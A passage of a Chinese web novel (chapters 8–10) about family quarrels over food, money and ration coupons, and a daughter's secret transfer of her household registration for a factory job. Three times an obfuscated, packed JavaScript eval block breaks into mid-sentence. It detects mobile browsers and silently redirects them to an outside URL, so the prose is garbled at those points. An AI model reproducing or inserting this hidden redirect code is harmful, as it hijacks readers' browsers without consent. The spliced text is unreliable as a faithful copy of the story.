“我知道,我会吃的。”黄彩荷一边应着,一边戳下来一块小小的鱼肉皮,然后把好肉夹到了女儿碗里。 后来杜母又给夹了一回,最后还是在于月莺碗里。 杜母就不夹了。 她自个吃起来了,舀点汤,吃块鱼。 杜奶奶年纪大,怕鱼刺,就没吃鱼,只喝汤。 倒是给外孙女文秀夹了两回菜,鱼,肉,鸡蛋,鱼跟肉夹了两个,她把她那份给外孙女了。 眼看着盘子里的排骨跟鱼越来越少。 闷不哼声的黄彩荷忽然一下子夹了两块鱼,“我家月莺跟着我受苦了,从小就没吃过什么好东西。”一边说一边眼泛泪花,同时,两块鱼肉稳稳的落到了于月莺的碗里。 “我家月莺在她奶奶家的时候,都上不了桌……”黄彩荷抹着泪,又是两块排骨到了于月莺的碗里。 大汤碗里剩下的最后一块排骨也被黄彩荷夹给了丈夫于强。 杜思苦诧异看了这个小姨一眼。 8. 008 杜母看着于月莺碗里的排骨、鱼、鸡蛋堆得跟小山尖似的,,再看她妹妹碗里,就是些鱼皮,青菜。 一股邪火堵在心里,不上不下的。 叫人难受。 “妈,你自己吃。”于月莺的声音很小,她夹了一块肥肉多的排骨放到黄彩荷的碗里。 她不喜欢吃肥肉。 杜母的神情这才好了些。 却见黄彩荷把排骨夹起来,放到了了丈夫于强碗里,之后抬起头,冲众人笑了笑:“我不爱吃肉。” 都给丈夫孩子吃。 杜母眼睛冒火:“你以前当姑娘时可不是这样,怎么这嫁了人,口味还变了?” 以前当姑娘时跟她抢肉吃的是谁! 黄彩荷苦笑:“姐,我家于强身子弱,得补。月莺是大姑娘了,得养得有些福气些,才好说人家。”至于她,一把年纪了,多吃几块肉少吃几块肉也不会有什么变化。 说完,黄彩荷望着杜母问:“姐,锅里还有汤吗,我想给他们都盛一碗。”这边的汤就剩一点汤底了。 杜奶奶喝得最多。 杜母站起来:“厨房锅里还有,我去给你们端过来。”人多,煮汤的时候水就放得多,锅里还剩不少。 杜思苦闷头苦吃。 夹了一个炒茄子,正要吃,就看到三哥的筷子去夹鱼了,咔,筷子跟筷子撞上了。 仔细一看,又是小姨黄彩荷的筷子。 只见小姨冲杜家老三笑了笑,“我家月莺身子骨弱。”意思是杜家老三是男的,身强体壮,不要抢。 还剩两块鱼。 杜家老三缩回筷子。 小姨顺利的把鱼夹到了于月莺的碗里,刚才冒尖的排骨跟鱼这会吃平了一些,还剩一半,这鱼放上去,又搭起来了。 鱼盘里就剩最后一块鱼了。 杜思苦的筷子伸过去的,咔,筷子又搭上了。 小姨歉意的冲杜思苦笑了笑。 杜思苦也笑着,然后手快的将最后一块鱼夹了回来,放到三哥的碗里,“三哥,吃鱼。”三哥的碗边没有鱼刺,也没有排骨,刚才三哥压根就没夹肉菜。 杜思苦这毫不客气的做派桌上的人都看到了。 小姨的笑容僵住了,她缩回筷子,将筷子放到了桌上,然后不动筷子了。 整个人显得格外沉默。 杜母在厨房盛汤,压根就不知道这里发生的事。 杜父原本想女儿两句,来者是客人,怎么还跟客人抢东西。 可想到女儿刚才头疼得都冒冷汗了,也就没说。 孩子生病了,有些脾气也是正常的。 杜奶奶盯着杜思苦看了好一会。 这孩子好像哪里不一样了。 杜思苦吃得快,一碗很快吃完了,她去厨房准备再打半碗饭。 杜母正在厨房盛汤,盛了三碗,其中一汤里头都是肉渣,这是给她妹子准备的,肉不肯吃,带肉渣的汤总能喝一喝吧。’ “妈,我也要半碗汤。” “自己添。”杜母端着汤碗准备出去,“还有一碗是给你小姨的,等会帮我端出来。”要是把这肉渣的汤先端出去,那她妹子肯定又要让给丈夫跟女儿了。 杜思苦:“小姨刚才就把筷子放到了桌上,饭也不吃,菜也不夹,就干坐着。” 杜母往外头瞧了一眼,赶紧把手里的两碗汤放下,问杜思苦:“怎么回事?怎么就不吃饭了?”外头丈夫跟婆婆都在,她这会出去也不好直接问。 “刚才剩最后两块鱼的时候,她夹了一筷子给表姐,我看三哥没吃鱼也没排骨,就把剩下的鱼夹给三哥了,后来小姨就放下筷子不吃饭了。”杜思苦又打了半碗饭,给自己舀了半碗汤,能多吃就多吃点。 下午还要去派出所迁户口呢。 要是能办好,晚上就能回厂里了,要是办不好,就算是回了厂里,也还得回来继续接着办。 “就这些?你小姨就放下筷子不吃了?” “对。” 不该啊。 杜母心里纳闷了,这毕竟不是黄家,这里姓杜,是她婆家,她妹子要闹脾气也不该当着她丈夫跟婆婆的面啊。 这不是让她为难吗。 杜思苦不想出去看小姨那苦瓜脸,就在厨房把汤泡饭给吃了。 “妈,家里户口本在哪啊?” “你要户口本做什么?”杜母一下子就警惕起来,老二当初就是趁她没注意把户口本给偷了,这才办的知青下乡,一去就是二年啊。 这狠心的,两年都不给家里发消息,连封信都不捎。 杜思苦没想到杜母对户口本看得这么重,糟糕,不好拿。 “你要户口干什么?”杜母盯着杜思苦,是想学老二自己弄个知青下乡,还是瞧中哪个臭小子,被人骗了。 老四是18岁的大姑娘了,确实可以结婚了。 杜思苦道:“我就问问,”见杜母不信,随口瞎编,“要是表姐上咱们家户口,能成城里人吗?” 这孩子,胡说什么。 杜母:“你表姐姓于,上咱们家户口干什么,我看你这脑子被摔坏了还没好呢!” 不说她同不同意了,单是婆婆那关就过不了。 杜思苦吃完了往外走。 户口明要是要不到了,那得想想办法,私底下‘借用’一会。 “等会,”杜母叫住杜思苦,她有件事得跟杜思苦商量一下,“老四啊,你也看到了,你小姨家来了三口人。家里地方不够住。本来是说在你跟老五的屋子搭个床板,让你小姨跟你表姐挤一挤,可现在看你,你姨夫也来了,这就不好住了。” 来了。 杜思苦停下转身,“妈,你那汤都凉了吧,这事晚点再说呗。” “两句话的事。”杜母快言快语:“隔壁沈家那沈瑶(沈洋妹妹)是你同学,咱们两家又是老邻居,关系也好。你看要不这样,我跟你刘姨说一声,你小姨他们在咱们家的这几天你去沈瑶那借住几天。你呢,手脚放勤快点,帮着多干点活,打扫打扫啊,洗洗衣服什么的。他们肯定就不会说什么了。” 借住啊。 杜思苦心里叨咕:难怪记忆里有‘她’跟沈洋的风言风语传出来,原来是这么来的。 住一块,能不传出什么歪话吗。 “我不去。”杜思苦拒绝。 杜母没想到老四还敢拒绝。 这孩子如今胆子是越来越大了,跟谁学的! “你说说你,天天在家闲着,也没个正经工作,十八岁的大姑娘了,吃家里的,用家里的。我说两句你还顶嘴,你想上天啊!” 杜母声音都高了。 “妈,我那临时工的工作有信了,晚上可以搬过去住宿舍,我这边您就别操心了。”杜思苦把话在脑子里过了一遍。 “你有宿舍了,哪个单位的,工资多少?什么福利?”杜母脑子里已经在想着杜思苦以后每月的工资该怎么花了。 “粮票一个月多少啊?” 又来了。 杜思苦就猜到会这样。 她果然转移话题:“小姨他们来带粮票了吗?小姑可是在咱们住了,小姑的工资跟粮票您肯定是看不见的。”再加小姨家三口的,那每天吃饭的粮票都是够呛的。 话题转移成功。 杜母听到这一张张要吃饭的嘴,心里发沉,不过却还嘴硬:“你这是什么话,你小姨多少年没来了,你这孩子怎么这么计较,以后学你妹妹,大方一点。” 话虽然是这样说的,但是杜母心里琢磨:这事还真得好好跟老杜商量一下。 农村户口的粮票是卖了公粮用多余的粮食换的,城里可不发彩荷他们的粮票,这真要是住久了,真得吃他们发的口粮了。 三张嘴,供不起啊。 就在这时,厨房外头突然传来一个细细的声音:“姨妈,我们带了粮票的。” 这突然出声,把杜母魂都给吓没了,拍打着胸口往后头看:是于月莺。 于月莺也不知道站在这听多久了。 她轻声说:“我妈让我过来拿汤。”这汤迟迟没拿到饭桌上,这是过来看看是怎么回事。 杜思苦趁机往外走。 没她的事了。 “思苦表妹,我们于家不是占人便宜的人,这次过来是带了粮票跟钱的,不会白吃白住的。”于月莺声音细,但是能让堂屋吃饭的人都听到,“我知道表妹不欢迎我们,可是你也不能气我妈啊,我妈本来胃就不好,中午都没吃几口饭,等会又要胃疼了。” 好大一口锅。 把小姨气得没胃口了? 杜思苦:“我都不知道我怎么气着小姨了,你说说看,我也好好想想。” 是肉没夹到于家人碗里,生气了? 那碗边一堆啃光的排骨,谁吃的? 杜思苦可不虚,她就吃了一块鱼,一块排骨,没多夹。 于月莺静静的看着杜思苦,不说话。 杜思苦也看着她。 杜母看看这个,看看那个,“好了好了,把汤端出去吧,先吃饭。”这两孩子怎么还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830570|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹上脾气了。 于月莺站着不动,她望向了杜母:“姨妈,我妈说她从小跟您感情就好。我妈是长辈,思苦表妹可能是很久没见妈了,不懂得尊敬长辈,您以后好好教她。” “我怎么不敬长辈了?没把两个盘子里的排骨跟鱼全塞你们碗里是吧,没让你们吃够是吧,”杜苦思都笑了,“非要让我说实话啊,桌上那么多眼睛看着呢,你碗里多少肉,大家碗里什么菜,你心疼你妈,怎么不跟你妈换个碗啊?” 于月莺眼泛泪花,脸都涨红了。 “你们是客,我们家里也尽心尽力招待,瓜子、花生,桃酥也都端上来了,鱼、肉也买了。我多夹一块鱼,你妈就伤心了,吃不下饭就怪到我头上了?那晚上睡不好觉,是不是我家床板太硬了,没多铺两层被褥?”杜思苦嘴巴能说,平常没必要,很少跟人吵架,但真吵起来,她是不虚的。 “你怎么能这么说!”于月莺被气哭了。 杜思苦:“我说的是实话,真话,怎么还哭上了?” 杜母不可思议的看着杜思苦,这丫头不是个闷葫芦吗,怎么吵架这么利索。 杜思苦道:“医生说了,我脑子这一摔给摔开窍了。” 杜母哭笑不得,可看着在那淌泪的于月莺,不能干看着,于是瞪杜思苦:“你看看,怎么还把你表姐闹哭了,快跟她道歉。” 外头人都听着呢。 杜思苦转头就往外头走。 哭了就有理了? 刚才是表姐教训她她才还击的。 再说了,就从那段多余的记忆来看,这表姐……也不怎么样。 “老四!” 杜思苦走得更快了,路过堂屋的餐桌,停都没停,直接就冲出院子了。 “老三,快去看看你妹妹。”杜奶奶道。 杜家老三不用杜奶奶说,已经追出去了。 - 于月莺抹着泪从厨房那边出来了,走到黄彩荷身边,拉着黄彩荷的胳膊:“妈,我们回家吧。”一只手拉,一只手抹眼泪。 黄彩荷站了起来,也跟着女儿一起掉泪。 “别啊,才来怎么就走了,老四瞎说的,你们别跟她计较,彩荷,妹夫,汤来了,你们喝一点。”杜母热情挽留。 一边留一边骂着杜思苦不懂事。 这亲妹子一家才来,就吃了一顿饭就闹着要走,那她成什么了? 杜母可不想过年回娘家的时候挨骂。 杜母好说歹说,可算是把人留下了。 - 外头。 “老四,你被褥去哪了?”杜家老三边问边问,“早上我去过袁医生那了,她说你没去换药,你去哪了?真去找临时工的工作了?” 杜思苦一直往前走,“是,我找着工作了。” 她突然停了下来,转头看着杜家老三,“哥,您知道咱们家户口本,咱妈放哪了吗?” “你要户口本做什么?”杜家老三还真知道。 二哥当初跟家里闹脾气,非要离开家,弄个知青下乡,那会户口本也是偷偷拿的。 他全都知道。 “三哥,你要是能帮我拿到户口本,我就告诉你。”杜思苦发现三哥这语气好像知道户口本怎么拿啊。 有戏。 “你先说说你想干什么。”杜家老三可不上那当。 刚才老四就跟家里亲戚吵了一架,万一发颠学着二哥知青下乡那可不行,二哥是男的,下乡没事。 老四是女的,长得也不错,就是瘦了点,这到了乡下,人生地不熟的,吃了亏怎么办? 杜思苦直接道:“工作的事,我找着工作了,要迁户口。” 她道,“户口迁过去就能领粮票了,厂里十五号发粮票,今天都十二了,这两天要是办不成,这个月的粮票我就领不上了。” “哪个厂?” “三哥,这我现在不能说,除非你答应帮我拿户口本。” “你不是蒙我的吧。”杜家老三半信半疑。 工作有那么好找? 迁户口? 那是正式工的待遇,临时工可不给迁户口的。 杜思苦:“有学校的介绍信,跟我一块去的同学父亲是革委会的,你说呢?” “真的?” “当然,要不这样,你答应跟我拿户口本,等我去派出所带你一块去。”杜思苦指了指衣服里面,“我资料可带齐了,只要这边派出所能帮我迁出来,我就明天就迁到厂里的集体户口上了。” 就等家里的户口本了。 9. 009 “好,我回去帮你拿,”杜家老三是有条件的,“不过你迁出户口之前,我得跟你一块去你厂里看看。” 他怕妹妹被人骗。 机修厂在城郊,下午二点多才吃饭,这会只怕二点半都不止了。 再去机修厂,不说等公交车的时候,单是去机修厂来回一趟,只怕派出所都要下班了。 杜思苦头都疼了:“今天可不早了,这再去我厂,时间赶不上。” 那就办不了事了。 “明天迁户口也是一样的。”杜家老三很坚持。 杜思苦告诉他:“邻导就批了今天下午的假。你想啊,我在厂里就是个新人,这才去就不停请假,领导怎么想我?我工作还干不干了。” 又说,“三哥,这样,我答应你,等把户口迁出来了,咱们一块去我机修厂那边的派出所。把户口迁入给办好了,你觉得呢?” 杜家老三只是怕妹妹把户口迁出来,没地方落户,成了黑户。 这要是到迁到厂里的集体户口,下午就能办的话,那他觉得可以。 “行。”杜家老三道,“你去派出所等我,我拿了户口本马上就过去。” “好!” 分头行动。 杜思苦先去派出所,看看这边迁出要填什么资料,先把东西准备好,到时候三哥拿了户口本过来,就能把事情给办了。 “三哥,等会,咱们发个誓,我工作这事你谁也不能说,尤其是妈,等我户口办好了。她要是问我去哪了,你就说是去厂里当临时工了。” “行。” “谁说漏嘴了以后谁孤独终老!” 够毒的。 杜家老三决定好好管住息的嘴巴,他还是想娶媳妇的。、 - 杜家。 于月莺跟黄彩荷这会都在杜家小姑那屋。 小姨黄彩荷不舒服,得歇一歇。 本来,杜母是安排去西屋的。 可于月莺不愿意,拉着黄彩荷就是不肯进去:“姨妈,刚才表妹的态度您也看到了,本来她就嫌我们,再住她的屋子,还不知道等会回来说什么话呢。”顿了顿,又轻声说道,“我妈年纪大了,本来也不舒服,还是少受些气好。” 那怎么办? 去哪歇? 老三那屋? 老三是个大小伙了,要是妹子一家住了老三的屋,那老三住哪?总不能让老三这个年轻小伙子住西屋跟妹妹们挤一块吧。 这不合适。 传出去也不好听。 黄彩荷捂着胸口,难受得很。 杜母道:“这附近有个卫生所,要不我带你去瞧瞧?”又加了一句,“卫生所的袁医生是个老医生了,医术比那省医院的人还好呢。” 黄彩荷一下子来了精神,“什么病都能冶吗?” “那得他把了脉才知道。” 黄彩荷喜道:“二姐,那你等等我,我带于强一块去。”说着,便去了杜家老三的屋,把刚歇下的于强也扶了出来。 能给丈夫看病,她这胃也不疼了,胸口也不闷了。 “二姐,你带路。” 杜母迟疑了一会,之后领着黄彩荷一家三口往卫生所去了。 她琢磨着于月莺说他们家带了钱过来,她没带钱应该不要紧吧,之前做饭,钱包放屋里锁起来了,身上就一点零碎钱,几分一角的。 - 杜思苦边走边问,很快就找到了这边的派出所。 是这吧? 虽然她没看过户口本,但是这一片就这么个派出所,应该是这里没错。 先问问。 杜思苦找了一个相貌和气的民警工作人员,问道,“同志,办户口迁出是什么流程啊?” “户口迁出,迁到哪啊?” “我找着工作了,单位说要把户口迁到厂里,才给发粮票。”杜思苦老老实实的说。 “东西带齐了吗?” “这是单位的证明,这是准迁证,户口本我哥去拿了,马上就过来了,”杜思苦道,“我就想问问,这边还要什么需要填的表吗?” “迁出申请表,还有这个注销申请表。”派出所的工作人员很负责,很快就杜思苦要填的表拿过来了。 杜思苦找他们借了笔,开始填写申请。 - 杜家老三回到家,他爸正在院子里晾衣服。 “爸,妈呢?” “带你小姨他们出去了。”杜父把衣服拧干,搭在绳子上。 男人做事就是粗手粗脚,晒衣服都晒得烂七八糟。 妈出去了? 太好了。 杜家老三看了一眼父亲还剩半盆子没晾的衣服,放心的往屋里走。 杜父又晒了五件衣服,有件衣服太薄,指甲给划勾丝了,这得敏的衣服怎么这么不经穿啊,这什么料子啊。 还不如铁路局发的工作服。 杜家老三熟练的摸出放户口本的钥匙,打开抽屉,这抽屉东西挺多的,不仅有户口本,还有钱跟粮票。 杜家老三拿出户口本贴身收着。 本来,到了这就应该锁抽屉了,可他琢磨着老四到了厂里,要是户口没迁进去,拿不到粮票,手上也没钱,只怕要饿肚子。 “干什么呢。”很严厉的声音。 杜家老三赶紧锁上,他没回头都能听出是奶奶的声音,“我寻思着快国庆了,给二哥寄点粮票跟钱过去。” 杜奶奶听到‘二哥’鼻子就是一酸,她可怜的孙子啊,这一去就两年。 要说还是怪她家老头子跟她儿子,两个分不清里外的东西,把她孙子好好工作的给让出去了,把孩子给气着了。 想到贴心又听话,嘴巴还甜的二孙子,杜奶奶心里又是一疼。 只见她一把把门关上,往杜家老三那边走“你怎么把抽屉关上了,打开,给老二寄二十……不,五十块钱过去,再给寄二十斤粮票。”她屋里还有一包红糖,原本是打算给得敏补补身子的。 那就……那就都给小武(杜家老二)寄过去。 得敏这边要什么都可以去供销社买。 小武在乡下,要什么没什么,好不容易寄点东西过去,得寄点好的。 杜家老三很震惊。 奶奶是不是有点偏心了,都是亲孙子,怎么还区别对待呢? “奶奶,五十块钱也太多了,我妈晚上回来会数钱的。”回来保准发现。 杜奶奶:“怕什么,这钱不给你二哥花也是给你小姨夫他们冶病用。”老太太活了七十多岁了,一把年纪什么事没见过。 彩月那妹子一家,就不是省油的灯。 杜家老三:“我妈可不是大方的人。”拿钱给小姨夫冶病,他不太信。 除非是他姥姥姥爷,他妈才舍得出这钱。 杜奶奶不说话,又从里头拿了一把钱出来,给了杜家老三五十块钱,又给了杜家老三一些粮票。 拿钱的机会。 杜家老三脑子一动,“奶奶,老四找了个临时工的工作,今天晚上想搬过去住。” 杜奶奶看着他,“要多少?” “总得一个月的饭钱跟粮票吧,这当临时工,下个月才发工资。”杜家老三说。 杜奶奶抽了一个五块的,三个一块的,四个五毛的,一共十块钱。 粮票也给了十斤。 “老四胃小,吃不了多少东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830571|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她省着用点。”杜奶奶看了看杜家老三,又抽出二张两块钱的,“你也不小了,老四都知道给自己找工作,你也出去找找,要是找不着工作,找个媳妇回来也行啊。” 老三脑子就是不如老二灵活。 “奶奶,那我去给二哥寄信了。”杜家老三户口本到手了,钱也到手了,可以走了。 “等会。”杜奶奶摸索了一阵,留下了一个月的饭钱跟粮票,剩下的全抓走了,连存折都给放到自个口袋里了。 锁上抽屉。 杜家老三打开门,跟拿着角盆走过来的杜父看了个对眼。 杜父脸一黑。 这臭小子在屋偷偷摸摸干什么呢。 杜奶奶从身后慢悠悠的走出来,瞧了儿子一眼,对孙子说:“来我屋。” 杜家老三对着杜父摊手,都是奶奶的意思,跟我没关系。 杜奶奶回屋,把藏着一直没动的红糖拿出来了,这是用油纸包好的正宗老红糖,“可别把地址写错了。”说着,又不知道从哪摸出了两把果糖,全递了过去,“你只准偷吃一颗,剩下的给你二哥寄过去。” 老三在家住着,想吃什么都有,不像老二,苦哈哈的。 杜家老三一口答应。 屋里,睡着的文秀眼睛眯开了一条缝,她看到姥姥偷偷给表哥东西了。 偏心。 她扁着嘴,准备晚上跟妈妈偷偷告状。 - 杜家老三从奶奶屋里出来,看到父亲在外头等着呢。 “你们刚才干什么了?” “奶奶说给二哥寄点钱跟粮票过去,”杜家老三说,“二哥今年不回来过年。” 杜父心里堵得很。 臭小子脾气这么大,也不知道像谁。 杜家老三看了眼身后,见奶奶屋里门关着,小声说:“奶奶怕妈把钱借给小姨家,刚才拿走了好多。” 杜父:“你妈不是糊涂人。”不会的。 杜家老三:“爸,老四找了个临时工的工作,今天搬过到宿舍去住,她说了,要是干着行就接着行,要是不行再回来。”老四晚上不回来住,总得找个说法。 “哪个厂?” “可能是纺织厂吧。” “爸,奶奶让我给二哥寄东西,我先去邮局了。” “等会,我去拿件东西,你一块寄过去。”杜父回屋拿了一件棉服出来,这是单位发的新棉服,老二去的地方偏,冬天冷得很。 “爸,给二哥的?” 杜父失笑:“行了,明年单位发新的,给你。”多大的人了,还计较上了。 “那说定了!” 杜家老三拿着东西往邮局去了。 等到院里看不到时候,一拐弯,往派出所的方向走了。 他刚走没多久,杜母脚步匆匆的回来了,“老杜,快,妹夫在回来的路上吐血了,咱们得送他去上级医院。你快借个板车,我去拿钱。” 人命关天的事。 杜父也顾不上多问,赶紧去邻居家借板车。 - 派出所。 杜思苦坐不住,时不时的在派出所门口晃两圈,看三哥来了没有。 等了半个多小时,三哥终于来了。 “哥,你怎么拿了这么多东西?” “这是等会要寄给二哥的,他下乡两年了,家里也没寄过东西过去。”杜家老三把厚棉衣交给杜思苦,“帮我拿一下。” 他从怀里掏出户口本,“拿着。” 真拿到了! 杜思苦翻到到数第二页,上面写着她的名字呢。 正好,申请表也填好了。 资料也齐了。 开办。 10. 010 杜思苦把厚棉服还给杜家老三,然后拿着户口本跟一堆证明资料去了办事窗户。 “同志,这是我的资料,您看看还缺什么。” “都齐了,去后头户籍室办。” “谢谢啊。” 杜思苦脚步轻松的往户籍室走去。 杜家老三拿着一堆东西跟在老四身后,老四年纪小,又是姑娘,他怕事情出差错,就一路跟在后面。 没想到老四年纪不大,办事有模有样的。 户籍室的民警还特意问了杜思苦:“确定销户?” “确定。” 行。 证明材料看了,户口本是真的,申请表没问题。 民警很快就办好了。 盖上章子,订在一起,就等领导签字了。 “好了,你们可以走了。” 这就走了? 迁移证还没给呢,也没销户啊。 杜思苦心里叹了口气,看来十五号发粮票是赶不上了。 于是又不死心的问:“同志,这手续什么时候能办好啊?” “本市的,没特殊情况,三到五天吧。”户籍室的民警同志说道,“你到时候自己过来拿,知道吗?” “同志,我这户口本有急用,过几天不一定能拿过来,您看看能不能帮帮忙?”杜思苦说了半天好话,“我家里这段时间事情特别多,今天是抽空才过来的。同志,您就帮帮忙吧。” “好了,好了。”户籍室的民警站起来,“我去看看领导在不在。”说完,拿着杜思苦提交的资料出去了。 要是领导在,把字签了,这马上就能把迁移书交给杜思苦,户也能销。 - 派出所,领导办公室。 里面有客人。 户籍室的民警在领导办公室外头站了一会,看客人迟迟没有出来,他也不好进去。 本来等了一会想走的,又觉得刚才来办事的小姑娘确实不容易,又等了十来分钟。 门开了。 牛所长跟一个眼生的年青人握着手,“钟同志,这事就麻烦你了。” “朱所长客气了,人民的事就是我们的事,不说麻烦。” 这年青人是刑警支队的,这一片有几个学生失踪了,民警这边人手不够,于是请了刑警支队的过来帮忙。 “所长。”户籍室民警小张凑过来,“这边有个文件需要您签个字。” 牛所长看着他:“什么文件这么急?”伸手接过来,一看,只是个户籍迁出的,于是沉一脸,“让她等着。” 年轻人站在牛所长身边,牛所长看文件的时候他晃了一眼。 杜思苦? 姓杜? 年轻人忽然问:“是不是铁路局家属院里的杜家?” 户籍室的民警小张:“是啊,都姓杜,这次要迁户口的是家里的女儿,说是有急事,这户口本就今天能拿过来。” 他帮着杜思苦说话,“那小姑娘说最近有急事,求了我半天,都快哭了。” 年轻人对牛所长道:“所长,户口本能给我看看吗?” 牛所长将资料递了过去:“这家你认识?” 年轻人翻到户口本的第四页,杜武,杜家老二。 果然是他家。 年轻人抬起头,笑了笑:“是啊,这个跟我是同学,他家老爷子当年抗战的时候还给咱们党运过物资呢。” 哟。 那这老爷子不一般啊。 牛所长转头问小张:“笔呢。” 户籍室的小张赶紧把笔递过去,牛所长飞快的签上自己的名字,”特事特办,她有什么困难,今天都能她解决了,知道吗。” “好的所长。” 成了! 户籍室的小张圆满的完成了工作。 牛所长把签好的文件跟资料递给小张,笑着打趣:“这事得让这小杜(杜思苦)好好谢谢人钟同志。” 他拍了拍年轻人的肩。 户籍室的小张道:“必须的!” - 铁路家属大院。 杜母翻出钥匙,打开了自己藏钱的抽屉。 怎么空了! 钱呢! 怎么就剩这么一点了? 她几乎尖叫的喊道:“老杜!” 老杜去借板车了,不在家。 杜母急疯了,使劲的拉着抽屉,不停的翻找,就剩十几块的零碎钱了,还几张小面额的粮票。 她的钱她的粮票都去哪了! 遭了贼了? 杜母一下了就站了起来,得去派出所报案。 她把剩下的钱跟粮票拿了出来人,全放到身上,急冲冲的往外走。走到门口的时候她突然停了下来。 家里是有人在的,小偷没那么容易进来,这到底是外贼还是家贼? 杜母转头往屋里看。 老三老四,两个孩子没那么大胆子把钱全给偷了,那接下来就只有两个人了,要么是老杜拿去了,借给别人了。要么就是老太太…… 杜母压着火,又往屋里走。 杜奶奶的房门是关着的。 杜母敲门,敲了两下都没人应,她不敲了,直接高声道,“妈,我屋里的钱跟粮票丢了,刚才家里是不是遭贼了?” 杜奶奶的声音从屋里头传来:“抽屉里的钱是得胜给我收着的,你是缺钱用啊,要多少啊?拿去干什么啊?” 竟然真的是老太太拿了! 杜母眼睛冒火,又听老太太说是老杜把钱交出去的,更是恨得咬牙切齿。 这母子俩就这么信不过她? 觉得她会拿钱贴娘家人?! “妈,这是我跟老杜两个人的钱,您拿去做什么?”杜母都快压不住火了。 杜奶奶打开了门,“我帮你们存着。” 杜母收起脸上失控的表情,勉强挤出一个笑,“我们自己能存着。” 杜奶奶瞧着她,“这抽屉不是还留了钱吗,过日子不够啊?” 杜母心里把这老太婆骂了一百遍。 就那么点钱,屋子这一大堆人,那么多张嘴,怎么够了?小姑子跟文秀就是两张嘴,会出一分钱吗!别说钱了,粮票都瞧不见! 还有老爷子,有退休金,比老杜工资还高呢,有什么用呢! 老爷子的退休金也是一分没往家里拿啊,全去补贴什么战友的孙子,认识的可怜人,还尽给一些多少年没见过的人寄东西。 这像长辈子的样子吗? 对外人掏心掏肺的,对自己家人,抠抠索索的。 老二好好工作是怎么没的? 还不是这老头子要让让让。 杜母心里纵然再不满,也不敢跟杜奶奶撕破脸,“妈,我妹夫刚才半路上吐血了,要送到医院去做检查,医院那边您也知道,这得交定金,这检查看病再加住院,得不少钱。” 杜奶奶一听,觉得这钱更不能拿出来了。 这是无底洞啊。 杜奶奶道:“中午吃饭那会你没听你妹子家里人说吗,他们带了钱的,刚才是不是走得急没带钱啊?你去他们放行李那屋,找找去,看有多少钱都给带上。” 好像,也行啊。 杜母觉得有道理啊,“妈,钱这事等我们回来再说。” 她跟老杜存的钱,必须自己管。 还得提醒一句:“妈,爸可是快回来了,您可千万别让他看到我跟老杜这一点血汗钱,不然他大手一挥,全用出去了。” “我知道!”杜奶奶还能不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830572|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那老头的德性。 她会藏得好好的。 杜母从黄彩荷的行李里头一共翻出了六十多块钱的零碎钱。 不少了。 杜父借好了板车,在外人喊杜母。 杜母赶紧带上钱出去了,“来了。” - 派出所,户籍室。 杜思苦等了又等。 杜家老三进进出出好几次,派出所的钟显示三点半了。 不早了。 邮局几点关门啊? 他得把给老二的东西寄过去,不然晚上回家没法跟奶奶交待,毕竟拿了钱又拿了粮票。 “老四,”杜家老三从兜里掏出十块钱跟十斤粮票,“这是我刚才拿户口本的时候,从妈那拿的,这钱跟粮票是跟奶奶眼前过了明路的,你就放心用。” 他把钱跟粮票放到了杜思苦的手上,“这边户口迁移办不下来也没事,明天我再过来,你别急。我这会要去邮局寄东西,寄完我就回来。” “三哥。”杜思苦心里暖得很。 “我去邮局了。”杜家老三带着东西走了。 过了一会。 户籍室的小张同志回来了,扬着笑脸:“领导签字了,事今天就能办!”成了! 瞧瞧他多厉害。 杜思苦惊喜不已,“同志,那太感谢了!”去了这么久,她还以为今天办不成了呢。 户籍室的小张同志盖章,迁移证好了。 销户,在要销的户口那一页盖上注销章,还把原因写上去了。 “办好了,拿着吧。” 杜思苦真正拿着销户户口跟迁移证的那一刻,真是感动的热泪盈眶。 她真没想到事情会这么顺利。 “同志,你真是人民的好同志,我们有您这样负责任的民警,真是太荣幸了。”好听的话跟不要钱似的全夸了出来。 户籍室的民警小张把把杜思苦送出去的时候,脸都笑成了一朵花。 这么夸人,怪不好意思的。 糟糕,忘记跟这小杜同志说这销户的功劳也有刑警支队的钟同志那一份。 - 杜思苦出了派出所,就去了最近的公交站。 她要回机修厂。 就差最后一步落户了。 得赶紧的。 - 邮局。 杜家老三把寄信的地址写好,东西全部装进邮局的包裹,称重。 邮费竟然要五块钱。 杜家老三身上的钱不够,够也不贴。 他直接从寄给二哥的钱里扣,这寄去的五十块钱变成了四十五块钱。 其他东西不变。 红光县,小河大队,杜武(收)。 “你再对一遍地址跟名字,没错的话,我们可就发出去了。” 杜家老三又对了一遍。 没写错。 “都是对的。” “行。” 杜家老三从邮局出来后,直往派出所。 